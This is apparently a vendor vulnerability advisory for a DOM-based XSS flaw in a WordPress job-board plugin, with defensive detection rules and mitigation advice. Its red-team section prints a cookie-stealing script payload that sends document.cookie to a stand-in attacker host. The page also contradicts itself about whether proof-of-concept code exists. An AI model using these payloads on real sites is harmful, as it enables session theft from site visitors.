CVE-2025-60162
Executive Summary
CVE-2025-60162 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the PickPlugins Job Board Manager WordPress plugin, affecting versions up to and including 2.1.61. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of a victim's browser. This is a WordPress ecosystem issue, not related to Apache or Nginx.
The vulnerability has a CVSS score of 6.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation activity in the wild. No public proof-of-concept (PoC) code or exploit-db entry is available at this time. The patch status is unknown, meaning users are advised to disable the plugin or apply strict input validation until a fix is released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from PickPlugins. No known supply chain compromise has been reported, but the lack of a patch increases risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
- Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited ability to modify content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins make this a potential target for phishing or credential theft campaigns.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS, meaning the malicious payload is executed entirely on the client side without being sent to the server. The job-board-manager plugin likely processes user input (e.g., job application data, search queries, or URL parameters) and injects it into the DOM without proper sanitization.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g.,
?job_title=<script>alert(1)</script>). - The victim clicks the link or visits a page where the plugin processes the parameter.
- The plugin's JavaScript code reads the parameter and inserts it into the DOM (e.g., via
innerHTMLordocument.write). - The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Root Cause: The plugin fails to sanitize input before using it in DOM manipulation functions. Common vulnerable patterns include:
document.getElementById('output').innerHTML = userInput;$('#output').html(userInput);location.hashorlocation.searchused without encoding.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes.
Vulnerable Code (JavaScript):
// Vulnerable: directly sets innerHTML from URL parameter
var jobTitle = new URLSearchParams(window.location.search).get('job_title');
document.getElementById('job-title-display').innerHTML = jobTitle;
Patched Code (JavaScript):
// Patched: uses textContent to prevent HTML injection
var jobTitle = new URLSearchParams(window.location.search).get('job_title');
document.getElementById('job-title-display').textContent = jobTitle;
Alternative Patched Code (with sanitization):
// Patched: sanitizes input before DOM insertion
var jobTitle = new URLSearchParams(window.location.search).get('job_title');
var sanitized = DOMPurify.sanitize(jobTitle);
document.getElementById('job-title-display').innerHTML = sanitized;
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Job Board Manager <= 2.1.61 installed and active.
- A victim user with a modern browser.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
job_title,search, orcategory) in the plugin's frontend. - Craft a malicious URL:
http://target-site.com/jobs/?job_title=<img src=x onerror=alert(document.cookie)> - Send the link to the victim via email, social engineering, or a redirect.
- When the victim clicks the link, the payload executes, displaying their cookies in an alert box (or exfiltrating them to an attacker-controlled server).
Advanced Payload (Cookie Theft):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
URL Encoded:
http://target-site.com/jobs/?job_title=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing suspicious patterns like
<script>,onerror=, orjavascript:in query parameters. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Deploy Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Disable the plugin until a patch is released.
- Apply input validation and output encoding on all user-supplied data.
- Use a security plugin like Wordfence to add an additional layer of protection.
Indicators of Compromise (IOCs)
- URL Patterns:
?job_title=<script>?search=<img src=x onerror=?category=javascript:
- Network Traffic:
- Outbound requests to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...)
- Outbound requests to attacker-controlled domains (e.g.,
- Browser Behavior:
- Unexpected pop-ups or redirects after interacting with job listings.
- Unusual JavaScript execution in the browser console.
Detection Engineering
YARA Rule
rule CVE_2025_60162_DOM_XSS {
meta:
description = "Detects DOM-based XSS payloads targeting Job Board Manager plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-60162"
strings:
$payload1 = /[?&](job_title|search|category)=.*<script/i
$payload2 = /[?&](job_title|search|category)=.*onerror/i
$payload3 = /[?&](job_title|search|category)=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-60162 DOM-Based XSS in Job Board Manager
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects potential DOM-based XSS attempts against Job Board Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in query strings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60162 DOM-Based XSS Attempt"; flow:to_server,established; content:"/jobs/"; http_uri; pcre:"/[?&](job_title|search|category)=.*(<script|onerror|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by PickPlugins.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in query parameters.
- Add Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fix:
- Monitor the PickPlugins website or WordPress plugin repository for an update.
- Once patched, update to the latest version immediately.
- Conduct a security audit of all plugins to ensure no other DOM-based vulnerabilities exist.
Workaround (if plugin cannot be disabled):
- Use a security plugin like Wordfence to enable XSS filtering.
- Manually edit the plugin's JavaScript files to replace
innerHTMLwithtextContentor useDOMPurify.sanitize().
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.